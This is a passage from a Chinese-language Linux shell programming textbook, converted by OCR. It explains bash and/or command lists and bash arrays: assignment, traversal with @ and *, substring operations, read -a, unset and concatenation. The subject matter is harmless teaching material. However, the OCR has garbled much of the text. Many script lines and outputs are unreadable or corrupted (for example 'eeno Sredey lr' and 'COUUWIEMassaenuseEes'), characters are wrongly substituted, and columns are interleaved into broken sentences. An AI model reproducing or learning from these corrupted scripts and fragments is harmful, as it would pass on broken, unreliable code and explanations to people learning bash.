# 上 面 与 列表 未 全 部 执行 完毕 时 ， 才 执行 下 面 的 命令 

echo "Correct arguments are passed to this script." 

exit 0 


andlist2.sh 脚本 首先 定义 两 个 变量 , MAXARGS 表示 输入 参数 的 个 数 ，ERROR 表示 输入 

















参数 不 等 于 MAXARGS 时 的 返回 状态 码 。test 命令 用 于 测试 与 列表 命令 ， 当 输入 参数 不 等 于 

MAXARGS 时 ， 与 列表 中 的 三 个 命令 都 返回 TRUE， 而且 与 列表 最 后 一 个 命令 是 exit 命令 ， 

因此 ， 此 时 andlist2.sh 脚本 以 68 状态 码 退 出 。 当 输入 参数 等 于 MAXARGS 时 ， 与 列表 执行 

完 第 1 条 命令 就 退出 ,后 两 条 命令 将 不 被 执行 ， 此 时 ，andlist2.sh 脚本 方 能 执行 test 命令 下 面 

的 echo 命令 ， 并 以 0 状态 码 退 出 。 下 面 给 出 andlist2.sh 脚本 的 执行 结果 : 
# 例 14-6 andlist2.sh 脚本 的 执行 结果 










































































侍 清 元 见 华 清 远 见 教育 集团 官网 : www. hqyj. com 


HQYJ.COM 






































《Linux Shell 编程 从 初学 到 精通 》 


root@zawu shell-program enmoapmu be na es 


root@zawu shell-program /ae sin 
Usage: andlist2.sh 3 arguments 

root@zawu shell-program echo $2? 

68 
root@zawu shell-program ./andlist2.sh CAI WU TANG 
Correct arguments are passed to this script. 
root@zawu shell-program echo $2? 

0 














root@zawu shell-program 


由 上 面 andlist2.sh 脚本 的 执行 结果 可 以 看 出 ， 当 andlist2.sh 带 有 1 个 输入 参数 时 ， 脚 本 
状态 码 是 68， 当 andlist2.sh 带 有 3 个 输入 参数 时 ， 脚 本 退出 状态 码 是 0。 
或 列表 和 与 列表 十 分 类 似 ， 只 是 或 列表 是 遇 到 TRUE 返回 值 时 结束 , 例 14-7 利用 或 列表 


实现 和 andlist2.sh 脚本 一 样 的 功能 ， 脚 本 名 为 orlistsh， 内 容 如 下 : 
# 例 14-7: orlist.sh 脚本 演示 利用 或 列表 实现 对 输入 参数 的 个 数 判断 
#!/bin/bash 























陆 
压 



































MAXARGS=3 

ERROR=68 

# 与 andlis2.sn 脚本 相 比 ， 仅 修改 了 test 语句 

test $# -eq $MAXARGS || (echo "Usage: ‘basename $0”$MAXARGS arguments" && false) || 


exit $ERROR 
echo "Correct arguments are passed to this script." 
exit 0 


orlist.sh 脚本 对 test 语句 进行 了 修改 ， 由 于 echo 命令 总 是 返回 TRUE， 因 此 ， 我 们 将 echo 
命令 和 false 进行 与 运算 ， 从 而 返回 FALSE 值 ; 而 且 位 置 参数 4# 与 MAXARGS 之 间 改 为 等 于 判 
断 符 。 当 orlist sh 脚本 未 带 3 个 输 六 参数 时 ， 或 列表 前 面 两 个 命令 都 为 FALSE， 执 行 exit 以 68 
状态 码 退 出 ， 当 orlist.sh 脚本 带 3 个 输 六 参数 时 ”或 列表 第 一 个 命令 就 为 TRUE， 或 列表 立即 结 
束 ， 并 执行 test 命令 下 面 的 echo 命令 ， 并 以 0 状态 码 退 出 。 下 面 给 出 orlist.sh 脚本 的 执行 结果 : 


网 14-7 orlist.sh 脚本 的 执行 结果 
root@zawu shell-program @hmeodnn he or ls es 



















































































$root@zawu shell-program]# ./orlist.sh CAI 





Usage: orlist.sh 3 arguments 
root@zawu shell-program echo $2 
68 
root@zawu shell-program ./orlist.sh CAI WU TANG 
Correct arguments are passed to this script. 
root@zawu shell-program echo $2? 

0 




















rootQ@zawu shell-program 


由 上 述 结果 可 以 看 出 ，orlist.sh 脚本 和 andlish2.sh 脚本 的 执行 结果 完全 一 致 。 同 时 ，otlistsh 
脚本 中 的 test 命令 实际 上 是 或 列表 和 与 列表 的 骨 套 , 圆 括号 中 是 一 个 包含 两 个 命令 的 与 列表 ,这 说 
明 Shell 是 支持 与 或 列表 的 藤 套 的 ,在 使 用 与 或 列表 骸 套 时 需要 利用 圆 括 号 区 分 逻辑 运算 的 优先 级 。 


论 是 哪 种 高 级 程序 设计 语言 ， 如 C、C++、Java 等 ， 数 组 都 是 其 中 的 一 项 重要 议题 ， 
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Shell 也 可 以 定义 数组 。 本 节 骨 在 讲述 数组 的 基本 用 法 ， 数 组 与 函数 如 何 结合 使 用 ， 并 介 





用 数组 实现 队列 、 堆 栈 等 线性 数据 结构 的 方法 。 


14.3.1 数组 的 基本 用 法 


数组 (Array) 是 一 个 由 若干 同类 
组 均 由 连续 
元 素 。 
很 多 高 级 程序 设计 语言 中 的 数组 可 以 是 一 维 的 ， 
持 一 维 数 组 ， 数 组 从 0 开始 标号 ， 以 array[x] 表 示 数 组 元 素 
的 第 1 个 元 素 、array[1] 表 示 array 数组 的 外 











型 变量 组 成 的 集合 






















































































可 以 定义 足够 长 的 数组 。bash Shell 取得 数组 值 ( 即 引 




















是 如 何 赋值 的 ， 新 建 名 为 array_evall.sh 的 脚本 ， 内 容 如 下 : 


# 例 14-8: array evall .sh 脚本 演示 数组 赋值 的 方法 
#!/bin/bash 











# 下 面 对 city 数组 赋值 





city[0]=Nanjing 

eleylll Bed ng # 以 上 对 第 
city[9]=Melbourne 

city[15]=NewYork 





# 以 下 输出 city 数组 的 值 





的 存储 单元 组 成 ， 最 低地 址 对 应 于 数组 的 第 一 个 元 


蔬 2 个 元 素 、array[x] 表 示 array 数组 的 
素 。bash Shell 所 支持 的 最 大 数组 标号 是 599 147 937 791， 这 是 一 个 非常 大 的 数字 ， 用 户 完 全 
用 一 个 数组 元 素 ) 的 命令 格式 如 下 : 





绍 使 


， 引 用 这 些 变量 时 可 用 同一 名 字 。 数 





元 素 ， 最 高 地 址 对 应 于 最 后 一 个 





也 可 以 是 多 维 的 ， 然 而 ，bash Shell 只 


， 那 么 ，array[0] 就 表示 array 数组 
第 x+1 个 元 

















${array[x]} # 引 用 array 数组 标号 为 x 的 值 
注意 : 上 述 格式 中 ，$ 符 写 后 面 的 花 括 号 必 不 可 少 。 下 面 我 们 编写 一 个 脚本 来 看 一 看 数组 











1 个 和 第 2 个 数组 元 素 赋值 


# 对 第 10 个 数组 元 素 赋值 ，she1l1l 允许 数组 空缺 元 素 
# 对 第 16 个 数组 元 素 赋 值 







































































sehed eney ol Penmey no 

eehon en Pee 

eeno eaney ol om yl 

Seho eile be 本 i 辣 

echo i 人 jy # 打 印 未 初始 化 数组 的 值 

eenoM "erty[lL0l= Herty LLoNyY 

FT 脚本 新 建 city 数组 ， 并 对 其 中 的 元 素 赋 值 。 对 city 数组 的 第 1 个 和 第 2 个 
数组 元 素 赋值 之 后 ， 我 们 直接 对 city 数组 的 第 10 个 数组 元 素 赋值 ， 再 次 对 city 数组 的 第 16 
个 数组 元 素 赋 值 ， 然 后 打印 city 数组 的 值 。 下 面 给 出 array_evall.sh 脚本 的 执行 结果 : 






































# 例 14-8 array evall .sh 脚本 的 执行 结 

[root@zawu shell-programl# chmod ut+x array evall.sh 
[root@zawu shell-program]# 
outies [Mo 
city[1]=Beijing 
Cu 


./array evall.sh 
=Nanjing 


9]=Melbourne 
city[15]=NewYork 

city[2]= 

eatEy Rs 

[root@zawu shell- pr 























city 数组 的 第 1 个、 第 2 个 、 第 10 个 和 第 16 个 元 素 古 








实 已 经 保存 了 我 们 所 赋 给 它 的 值 ， 














这 说 明 在 Shell 肥 本 中 允许 数组 空缺 元 素 ， 即 可 以 不 连续 地 给 数组 赋值 ， 数 组 的 部 分 元 素 
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是 没有 被 初始 化 的 。city[2] 和 city[10] 两 个 元 素 是 未 被 初始 化 的 ， 其 值 为 空 
array_evall.sh 脚本 演示 了 数组 最 基本 的 赋值 方法 ， 我 们 还 可 以 用 圆 括 号 将 一 组 值 赋 给 数 
组 ， 下 面 的 例 14-9 中 array_eval2.sh 脚本 演示 这 种 赋值 方法 ， 脚 本 的 内 容 如 下 : 


网 14-9: array_eval2.sh 脚本 演示 用 圆 括 号 对 数组 赋值 的 方法 
!/bin/bash 

























































































书 圆 括号 将 一 组 值 赋 给 city 数组 


city= (Nan]jing Beijing Melbourne NewYork) 














输出 标号 从 0 到 5 的 city 数组 值 
ES 有 








[0 
EEC 本 汕 本本 由 屿 
eens vers/21l= :Yer 72l}iY 
echo "city[3]=${city[3]}" 
ECHO 用 
[ 


Score ene 

array_eval2.sh 脚本 用 圆 括号 结构 将 Nanjing、Beijing、Melbourne 和 NewYork 四 个 城市 名 
赋 给 city 数组 ， 该 四 个 城市 名 之 间 用 空格 相 分 隔 ， 然 后 一 打印 出 city[0] 一 city[5] 的 值 ， 下 面 
给 出 array_eval2.sh 脚本 的 执行 结果 : 


# 例 14-9 array eval2.sh 脚本 的 执行 结果 
[roaotQegselab snell pookrlt cnmodure arraydevalo sh 



























































[Eeoteselab snell Boor]te /areaveval2 sh 

city[0]=Nanjing 

city[1]=Beijing 

city[2]=Melbourne 

city[3]=NewYork # 赋 给 city 数组 的 值 存储 在 标号 从 0 到 3 的 元 素 内 
eliEy[L21= # 标 号 从 4 开始 的 city 数组 元 素 未 被 初始 化 
city[5]= 

[root@jselab shell-book]# 

















从 array_eval2.sh 脚本 的 执行 结果 可 以 看 出 ，city 数组 标号 从 0 到 3 的 元 素 依次 保存 了 巍 
括号 内 的 四 个 城市 名 ，city 数组 从 标号 4 开始 的 元 素 未 被 初始 化 。 这 说 明 用 圆 括号 结构 对 数 
组 赋值 时 ， 在 默认 情况 下 ， 从 数组 第 0 个 元 素 开 始 赋值 ， 将 圆 括号 内 以 空格 为 分 陋 符 ， 依 次 
赋 给 数组 元 素 。 
那么 使 用 圆 括号 结构 是 否 可 以 从 其 他 元 素 开 始 给 数组 赋值 呢 ? 请 看 array_eval3.sh 脚本 
所 示 的 赋值 方法 ，array_eval3.sh 脚本 的 内 容 如 下 : 


# 例 14-10: array_eval3.sh 脚本 演示 用 圆 括 号 对 数组 赋值 的 用 法 
#!/bin/bash 




























































































#[10] 指 定 city 数组 标号 为 10 的 元 素 的 值 
city= (Nanjing [10]=Atlanta Massachusetts Marseilles) 








echo "city[0]=${city[0]}" 

emo en lu Oe 

echo "city[10]=${city[10] }" 

Scene emey nl en 

echo 0 ELEYyIL21}Y 

EEC 

array_eval3.sh 肢 本 利用 圆 括号 结构 将 四 个 城市 名 赋 给 city 数组 , 与 array_eval2.sh 脚本 不 
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同 的 是 , 它 在 第 2 个 城市 名 前 利用 [10] 指 定 将 该 字符 串 赋 给 city 数组 的 标号 为 10 的 元 素 , 然后 





将 第 3、4 个 城市 名 Massachusetts 和 Marseilles 赋 给 city 数组 , 那么 











例 14-10 array eval3.sh 脚本 的 执行 结果 
rootonselabes nelm eo emma oreay ev 











root@ jselab shell book]# ./array eval3.sh 


city[0]=Nanjing 

city[1]= 

city[10]=Atlanta 

city[11]=Massachusetts #city[11] 和 city[12] 元 素 已 被 赋值 
city[l12]=Marseilles 

Bu |e 


[root@ jselab shell-book]# 





,Massachusetts 和 Marseilles 
到 底 赋 给 了 city 数组 的 哪些 元 素 呢 ? 请 看 下 面 给 出 的 array_eval3.sh 脚本 的 执行 结果 : 














从 array_eval3.sh 脚本 的 执行 结果 可 以 看 出 ,city[10] 的 值 是 圆 括号 内 指定 的 Atlanta 字符 串 ， 
在 Atlanta 字符 串 之 后 出 现 的 两 个 字符 串 被 依次 赋 给 city[10] 之 后 的 city[11] 和 city[12]。 因 
括号 结构 对 数组 赋值 可 以 指定 所 赋 元 素 的 标号 ， 并 以 此 标号 为 起 点 ， 






































3 


3 


























三 


t， 











继续 下 面 的 赋值 。 




















既然 圆 括 号 内 允许 对 数组 指定 元 素 进 行 赋值 ， 那 么 我 们 完全 可 以 按照 任意 顺序 指定 任意 
元 素 对 数组 赋值 , array_eval4.sh 脚本 给 出 了 这 样 的 一 个 例子 , array_eval4.sh 脚本 的 内 容 如 下 : 
































# 例 14-11: array_eval4.sh 脚本 演示 用 圆 括号 对 数组 赋值 的 方法 
#!/bin/bash 


























# 以 任意 顺序 指定 位 置 为 数组 赋值 





city=([2]=Nanjing [10]=Atlanta [1]=Massachusetts [5]=Marseilles) 





eene en a be 

een .ers el 

Eee 是 et IE 中 Te ls 

ecm ere Lon pes 

array_eval4.sh 脚本 以 任意 顺序 将 四 个 城市 名 赋 给 city 数组 的 四 

















Marseilles 表示 将 Marseilles 赋 给 -city 数组 标号 为 5 的 元 素 。 注 意 
有 空格 。 下 面 给 出 array_eval4.sh 脚本 的 执行 结果 : 
# 例 14-11 array eval4.sh 脚本 的 执行 结果 


ISSUESTEIS shell oornl ee tr vevel 
[root@ jselab shell book]# ./array eval4.sh 























city[1]=Massachusetts 
city[2]=Nanjing 
city[5]=Marseilles 


city[10]=Atlanta 
[root@ jselab shell-book]# 


从 array_eval4.sh 脚本 的 执行 结果 可 以 看 出 ，city 数组 的 1、2、5、10 元 素 赋 为 圆 括 号 
的 字符 串 。array_evall.sh~array_eval4.sh 四 个 脚本 给 出 了 数组 赋值 


， 赋 1 


个 指定 元 素 ， 如 [5 
号 “= ”两 边 都 不 能 











晶 



































的 基本 用 法 ， 下 面 再 介绍 

















数组 的 几 个 例子 。 

















i a 有 一 个 元 素 的 数组 ， 而 且 @ 和 * 符 号 都 可 用 来 表示 数组 的 

















元 素 ， 请 看 下 面 的 一 组 命令 及 其 执行 结果 














[root@jselab shell-book]# onearray=WebAPISs # 定 义 一 个 变量 


[root@jselab shell-book]# echo ${onearray[@]} 
WebAPIs 
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root@jselab shell-book echo ${onearray[*]} 
WebAPIs 
root@jJselab shell=book echo ${onearray[0]} 
WebAPIs 
root@jselab shell-book ET 人 ES 人 可 站 #onearray[1] 未 被 赋值 
0 
root@jselab shell-book]# echo ${#onearray[*]} # 输 出 onearray 数组 的 长 度 
root@jselab shell-book 

















定义 变量 onearray, 然后 打印 onearray[@]、onearray[*]、onearray[0] 和 onearray[1] 的 值 ， 
最 后 输出 onearray 数组 的 长 度 。 可 以 看 出 ，onearray[@]、onearray[*] 和 onearray[0] 为 onearray 
变量 的 值 WebAPIs， 而 onearray[1]=0， 这 说 明 onearray[1] 未 被 赋值 ， 而 且 onearray 数组 
的 长 度 是 1。 

上 例 的 @ 和 * 符 号 很 特殊 , 到 底 如 何 理解 这 两 个 特殊 的 符号 昵 ? 回忆 第 6 章 讲述 位 置 参 数 
时 , 曾经 介绍 了 几 个 特殊 的 位 置 参数 , 其 中 $@ 和 $* 都 表示 传递 到 脚本 的 所 有 参数 , 在 数组 中 ， 
@ 和 * 符 号 与 位 置 参数 类 似 ， 表 示 “ 全 部 ” 即 array[@] 和 array[*] 都 表示 array 数组 的 所 有 元 
素 。@ 和 * 符 号 最 常见 的 应 用 是 打印 数组 的 所 有 元 素 ， 下 面 结合 例子 来 说 明 数 组 的 打印 ， 新建 
名 为 array_printl.sh 的 脚本 ， 内 容 如 下 : 


# 例 14-12: array_print1.sh 脚本 演示 利用 @ 或 * 符 号 打印 数组 的 所 有 元 素 
#!/bin/bash 






































































































































city= (Nanjing Beijing Melbourne NewYork) # 数 组 赋值 

Ros TT enn # 将 @ 替 换 为 * 亦 可 
do 

echo $i 

done 





array_printl.sh 脚本 依次 对 city 数组 的 0 一 3 号 元 素 进 行 赋值 , 然后 利用 for 循环 和 @ 符 号 
打印 出 数组 的 所 有 元 素 ， 下 面 给 出 array_printl.sh 脚本 的 执行 结果 : 


# 例 14-12 array print1l.sh 脚本 的 执行 结果 
looteawusnell peoramli eum yr lS 











-> 





























[root@zawu shell programl]l# ./array print1.sh 
Nanjing 

BeiJjing 

Melbourne 

NewYork 


从 例 14-12 中 array_ printl.sh 脚本 的 执行 结果 可 以 看 出 , city 数组 的 四 个 元 素 被 依次 打印 
出 来 。array_printl.sh 脚本 中 for 循环 具有 普遍 意义 ， 该 种 格式 是 遍历 数组 所 有 元 素 的 通用 格 
式 ，for 循环 中 @@ 符 号 蔡 换 成 * 符 号 同样 可 以 遍历 数组 的 所 有 元 素 。 

数组 赋值 可 以 不 是 连续 的 , 那么 如 果 一 个 数组 不 连续 地 赋值 ， 利用 for 循环 和 @ 符 号 (或 
* 符 号 ) 是 不 是 会 打印 出 数组 未 赋值 的 元 素 呢 ? 请 看 array_ print2.sh 脚本 ， 内 容 如 下 : 


# 例 14-13: array print2.sh 脚本 演示 当 数 组 不 连续 赋值 时 ，@ 和 * 符 号 的 输出 结果 
#!/bin/bash 


























































































































city[1]="Hong Kong" # 用 引号 赋 包 含 空格 的 字符 串 
COUUWIEMassaenuseEes 
city[101]="New York" 
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Cuogool 


=Atlanta 


EO ee 


do 
echo $i 
done 








# 需 要 用 引号 将 ${city[@] } 引 起 


array_ print2.sh 脚本 首先 对 city 数组 进行 不 连续 赋值 ， 分 别 对 city 数组 的 1 号 、100 号 、 
号 元 素 赋值 ， 其 中 city[1] 和 city[101] 的 值 
| 起 来 ， 然 后 ， 同 样 利用 for 循环 和 @ 输 出 city 数组 的 所 有 元 素 ， 由 于 city 数 


101 号 和 10000 
将 所 赋 字 符 串 引 


组 元 素 中 包含 了 空格 ， 因 





的 执行 结果 : 















































# 例 14-13 array print2. sh 脚本 的 执行 结果 











#for 循环 使 用 ${city[@]} 时 ，array print2. sh 的 执行 结果 








含 空 格 ， 因 而 ， 赋 值 时 需 用 引号 


eetezawnt snelm rogramlt enmodn utx i array erint2 ssn 


[root@zawu 
Hong Kong 


sheul Broceamlt /or eovy er mt 2 


Massachusetts 


New York 
Atlanta 





此 ， 需 要 用 引号 将 $fcity[@]} 引 起 来 。 下 面 给 出 array_print2.sh 脚本 


array_ print2.sh 脚本 的 执行 结果 表明 ，for 循环 和 @ 只 打印 出 了 被 赋值 的 元 素 ， 不 打印 未 
赋值 的 元 素 ， 这 就 使 得 利用 for 循环 和 @ 符 号 吉 历 数组 元 素 时 很 方便 ， 不 必 考 虑 数组 的 哪些 


元 素 已 赋值 、 哪 些 元 素 未 赋值 。 
当 用 引号 将 ${city[@]}3 

















将 数组 的 所 有 元 素 分 行 打印 , 而 "${city[*])" 只 能 将 数组 的 所 有 元 素 打 印 帮 
分 隔 。 我 们 将 array_print2.sh 脚本 中 的 @ 符 号 替换 为 * 符 号 ， 


结果 如 下 : 














#for 循环 使 








用 ${city[*]} 时 ，array print2.sh 的 执行 结果 








[root@zawu 
[root@zawu 


sme roer om or ov 





Hong Kong 


Massachusetts New York Atlanta 























snell neonmenml enmecn ut eo en 











起 时 ，"$t{city[@]}" 与 "${city[*]}" 存 在 细微 的 差别 ，"S$ {city[@]}" 





一 行内 ， 中 间 以 IFS 





mm, 


再 次 执行 array_print2.sh 脚本 ， 





从 上 面 的 执行 结果 可 以 看 出 ，city 数组 的 四 个 元 素 在 一 行 打印 出 来 ,中 间 以 空格 相 分 隔 。 
总 的 来 说 ，for 循环 与 @〔( 或 *) 符号 结合 使 用 可 以 很 方便 地 遍历 数组 元 素 ， 不 论 数 组 是 如 何 


赋值 的 ， 当 不 用 引号 时 ，@ 和 * 完 全 等 价 ， 但 是 ， 当 





存在 区 别 。 
































14.3.2 ”数组 的 特殊 用 法 
本 节 将 介绍 一 些 数组 的 特殊 用 法 。 首 先 ， 介 绍 数组 的 字符 串 操作 ， 其 操作 符号 及 其 意义 











与 9.2 节 所 介 纪 














对 所 有 的 数组 


























string_array.sh 的 脚本 ， 内 容 如 下 : 
# 例 14-14: string array.sh 脚本 演示 数组 的 字符 串 操作 


#!/bin/bas 


city= (Nanj 





hn 


nnagmatlantaMMassacenumset ts Mersedlles) 














使 用 引号 时 ，@ 和 * 打 印 数组 元 素 的 方式 











的 字符 串 操作 完全 一 致 ， 数 组 字符 串 操 作 的 特殊 之 处 在 于 所 有 的 操作 都 是 针 
元 素 逐 个 进行 的 。 下 面 举 一 个 例子 说 明 数 组 的 





字符 串 操 作 ， 新 建 名 为 





建立 一 个 简单 的 数组 




















华 清 远 
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scene ES 而 本 SEO 演示 抽取 子 串 功能 

seno oerey TO 取 整 个 数组 

eeno Sredey lr | 取 从 第 1 个 元 素 到 结束 的 数组 
echo ${city[*] :3} 取 从 第 3 个 元 素 到 结束 的 数组 
echo ${city[*]:0:2} 取 从 第 0 个 元 素 开 始 的 2 个 元 素 
echo 

echo "Removing Substring" 演示 删除 子 串 功能 

echo ${city[*]#M*a} 删除 从 M 到 a 的 最 短 子 串 
echo ${city[*]##M*a} 删除 从 M 到 a 的 最 长 子 串 
echo 

eeno neelelnd Susterendu 演示 替换 子 串 功 能 

echo ${city[*]/M*s/Year} 替换 第 1 次 与 Mxs 匹配 的 子 串 
echo ${city[*]//M*s/Year} 替换 所 有 与 M*s 匹配 的 子 串 









































string_array.sh 脚本 演示 了 数组 的 抽取 子 串 、 删 除 子 串 和 蔡 换 子 串 三 种 功能 。 对 于 抽取 子 
串 ，$ {city[*]:0} 表 示 数 组 从 第 0 个 元 素 开 始 的 所 有 元 素 ， 即 表示 数组 的 全 部 ，Shell 在 对 一 般 
字符 串 进 行 抽取 操作 时 ， 冒 号 后 的 数字 表示 的 是 第 几 个 字符 ， 而 进行 数组 的 抽取 操作 时 ， 冒 
号 后 的 数字 表示 的 是 第 几 个 元 素 ，$fcity[ 关 :0:2} 抽 取出 数组 的 第 0 个 元 素 到 第 2 个 元 素 之 间 
的 所 有 元 素 。 数 组 在 删除 子 串 时， 用 # 形 示 删 除开 头 处 匹配 的 最 短 子 串 ， 用 天 表示 删除 开头 处 
匹配 的 最 长 子囊 ， 如 ，${fcity[%] 芍 M*a} 表 示 删 除 每 个 数组 元 素 的 开头 与 M*a 匹配 的 最 短 子 串 ， 
city 数组 的 第 2、3 个 元 素 Massachusetts 和 Marseilles 包含 匹配 M*a 的 子 串 。 因 此 ， 这 两 个 
元 素 与 M*a 罗 配 的 最 短 子 串 都 将 被 删除 。 数 组 蔡 换 子 串 时 ， 用 /表示 第 1 次 匹配 的 子囊， 用 // 
表示 所 有 匹配 的 子 串 ， 但 是 ， 所 有 匹配 的 子 串 是 指 在 1 个 元 素 中 的 多 次 匹配 。 下 面 给 
string_ array.sh 脚本 的 执行 结果 : 

# 例 14-14 string array.sh 脚本 的 执行 结果 


[root@zawi snell programlt cnhmeaurx stringarrtay sn 
[root@zawu shell programl# ./string array.sh 































































































































































































































































































Extract ne us erring 

Nanjing Atlanta Massachusetts Marseilles 
Atlanta Massachusetts Marseilles 
Marseilles 
Nanjing Atlanta 


Remeving SUBStElng 
NanjJing Atlanta ssachusetts rseilles 
Nanjing Atlanta chusetts rseilles 


Replelineo UsErIing 
Nanjing Atlanta Year Year 





Nanjing Atlanta Year Year 
[root@zawu shell-program]# 


在 string_array.sh 脚本 的 执行 结果 中 ， 抽 取 子 串 功能 的 结果 十 分 简单 ， 无 须 解释 。 删 除 子 
串 时 ,${fcity[s] 加 Ms#a}y 删 除 从 开头 处 的 M 到 a 的 最 短 子 串 ,city 数组 的 Massachusetts 和 Marseilles 
存在 匹配 子 串 ， 故 被 市 除 ;$f{city[*]#M*a} 删 除 从 开头 处 的 M 到 a 的 最 长 子 串 ，Massachusetts 
的 最 长 子 串 是 Massa。$ {city[*]/M*s/Year} 和 $f{city[*]//MM*s/Year} 两 条 命令 得 到 同样 的 结果 ， 这 
是 因为 /符号 第 1 次 匹配 子 串 和 // 符 号 匹配 全 部 子 串 都 是 对 于 一 个 数组 元 素 而 言 ，Massachusetts 
和 Marseilles 都 只 有 1 个 与 M*s 匹配 的 子 串 。 因 此 ， 两 条 命令 得 到 相同 的 结果 。 
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9.2 节 所 介绍 的 字符 串 操 作 都 能 用 于 数组 学 符 串 操作 ，string_array.sh 脚本 仅 给 出 三 种 操 
作 示 例 。 限 于 篇 幅 ， 在 此 不 再 展开 讨论 数组 字符 串 的 其 他 操作 。 


























数组 也 可 以 存放 read 命令 所 读 入 的 用 户 输入 参数 ， 而 且 内 建 命令 unset 可 以 用 于 清空 数 
组 元 素 或 整个 数组 。 下 面 通过 例 14-15 介绍 这 一 用 法 ， 新 建 arrivedcity.sh 脚本 ， 内 容 如 下 : 
# 例 14-15: arrivedcity.sh 脚本 演示 数组 与 read 命令 、unset 命令 的 用 法 




















#!/bin/bash 


declare -a arrivedcity 


echo “What city have y 
Scene ue eu soul 
eaad oarriveceltey 
eehe 


























# 将 arrivedcity 声明 为 数组 


eureeenarervyece, 
be separated fromeachother oy a SPACE, 
# 将 用 户 输入 存储 到 arrivedcity 数组 


#for 循环 输出 数组 的 全 部 内 容 


cr 


do 
echo "$i" 
done 


echo “The length of th 
echo “Executing UNSET 
unset oarrivedelty [ul 
eeneo he lengeort eon 
echo “Executing UNSET 
umset or elim Ey 

echo "The length of th 














a SV a Meu en eee 
Speratlone 二 二 Ey 
清空 arrivedcity[1] 元 素 
is array is ${#arrivedcity[@]}." 

SPperot lion SR 
清空 整个 数组 
is array is ${#arrivedcity[@]}." 




















arrivedcity.sh 脚本 首先 利用 declare 命令 将 arrivedcity 声明 为 数组 类 型 , 再 用 read -a 命令 
将 用 户 输入 存储 到 arrivedcity 数组 之 中 ， 用 户 输入 以 空格 分 开 。 需 要 说 明 的 是 ，arrivedcity.sh 









































脚本 中 的 declare 命令 并 不 是 必需 的 ， 若 删除 declare 命令 ， 再 运行 arrivedcity.sh 脚本 ， 将 得 


























到 同样 的 结果 。 读 者 不 妨 一 试 ， 为 严谨 起 见 ， 建 议 读者 在 使 用 数组 之 前 使 用 declare 命令 声明 
它 。 接 着 ，arrivedcity.sh 脚本 输出 arrivedcity 数组 的 全 部 内 容 ， 并 利用 unset 命令 清空 一 个 元 





素 和 整个 数组 后 ， 分 别 输出 
例 14-15 arrivedcity.s 





Shanghai Dalian Melbou 


Shanghai 
Dalian 
Melbourne 
Suzhou 
Berng 














arrivedcity 数组 的 长 度 。 下 面 给 出 arrivedcity.sh 脚本 的 执行 结果 : 
h 脚本 的 执行 结果 


root@zawu shell-program]# chmod U+Xx arrivedcity.sh 
root@zawu shell-program]# ./arrivedcity.sh 

What city have you been arrived? 

The input should be separated from each other by a SPACE 


rne Suzhou Beijing 


Tnemnetn ot ls ear revs os 


Executing UNSET operat 


Tons ee ea 


Te lonetneot ee er ev sd 


Executing UNSET operat 


ome 


.nem leno me er ev sa 


从 清远 见 
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[root@zawu shell-program]# 


执行 arrivedcity.sh 脚本 时 ， 我 们 输入 5 个 城市 名 ， 中 间 用 空格 分 隔 ， 结 果 显 示 read 命令 
成 功 地 将 这 5 个 城市 名 存储 到 arrivedcity 数组 ， 且 arrivedcity 数组 长 度 为 5。 用 unset 命令 清 
空 arrivedcity[1] 后 ， 数 组 长 度 变 为 4， 清 空 arrivedcity 整个 数组 之 后 ， 数 组 长 度 变 为 0。 

Shell 数组 还 有 一 种 重要 的 操作 一 一 数组 连接 ， 下 面 通过 一 个 例子 说 明 这 一 用 法 ， 新 建 名 


为 combine_array.sh 的 脚本 ， 内 容 如 下 : 
# 例 14-16: combine_array .sh 脚本 演示 数组 的 连接 操作 
#!/bin/bash 
























































# 初 始 化 两 个 数组 ，person 数组 不 连续 地 进行 赋值 
city= (Beijing Nanjing Shanghai) 





person= (Cai [5]=Wu Tang) 


declare =a combine # 声 明 combine 数组 
combine=(${city[@]} ${person[@]}) #combine 是 city 和 person 的 连接 





# 以 下 用 while 循环 输出 combine 数组 内 容 

element count=${#combine[@]} 

index=0 

while [ "$index" -lt "$element count" ] 

do 
echo "Element[$index]=${combine[$index]}" 
let "index=$indext1" 

done 

echo 


# 下 面 是 另外 一 种 数组 连接 方式 





unset combine # 清 空 combine 
combine[0]=${city[@]} # 将 city 数组 作为 combine 的 一 个 元 素 
combine[1]=${person[@]} # 将 person 数组 作为 combine 的 男 一 个 元 素 











# 再 次 输出 ss 数组 

element count=${#combine[@]} 

index=0 

while [ "$index" -lt "$element count" ] 
do 











echo “Elementl$index]= ${combine[$index]}™ 
let "index=$indext1l" 

done 

echo 


combine array.sh 脚本 首先 定义 city 和 person 两 个 数组 ， 并 对 其 赋值 ， 对 person 数组 的 
赋值 是 不 连续 的 ，person[0]、person[5] 和 person[6] 三 个 元 素 被 赋值 。 然 后 ，combine array.sh 
脚本 声明 combine 数组 ，combine=($ {city[@]} ${person[@]}) 表 示 将 city 和 person 数组 连接 ， 
并 赋 给 combine 数组 ，combine_array.sh 脚本 用 while 循环 输出 combine 数组 ， 这 样 能 更 清楚 
地 看 出 combine 数组 标号 及 其 值 的 对 应 关系 ,接着 , combine array.sh 脚本 清空 combine 数组 ， 
再 利用 combine[0]=$ {city[@]} 和 combine[1]=$ {person[@]} 两 个 表达 式 ， 分 别 将 city 和 person 
数组 赋 给 combine[0] 和 combine[1] 两 个 元 素 ， 最 后 再 次 用 while 循环 输出 combine 数组 的 值 。 
下 面 给 出 combine array.sh 脚本 的 执行 结果 : 


# 例 14-16 combine array .sh 脚本 的 执行 结果 
[root@zawu shell-programl# chmod utx combine array.sh 
































































































































i 元 万 了 华 清 远 见 教育 集团 官网 : www. hqyj. com 








同 术 


之 后 





口 








甬 








条 通 


14.3.3 ”用 数组 实现 简单 的 数据 结 


数据 结构 是 指 相互 之 间 存 在 一 种 或 多 种 特定 关系 的 数据 元 素 的 集合 ， 它 直接 影响 到 程序 
接 支 持 如 堆栈 、 队 列 、 链 表 等 数据 结构 ， 但 是 ， 通 过 
数组 bash Shell 可 以 很 容易 地 实现 线性 数据 结构 。 对 于 树 形 、 图 等 复杂 的 数据 结构 ,bash Shell 
在 理 度 。 本 节 将 通过 数组 实现 堆栈 、 二 维 数组 两 利 


数据 
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root@zawu shell-program]# ./combine array.sh 


lement [0|=BeiJjing 
Lement =Nanjing 


=Shanghai 


=Wu 
=Tang 


[ 
E 
E 
Element 
E 
Element 
E 


1 

2 
lement [3]=Cai 

4 


lement 


Element [0]=Beijing Nanjing Shanghai 











Element [1]=Cai Wu Tang 
[root@zawu shell-program]# 


从 上 面 combine_array.sh 脚本 的 执行 结果 可 以 看 出 , combine 连接 city 数组 和 person 数组 
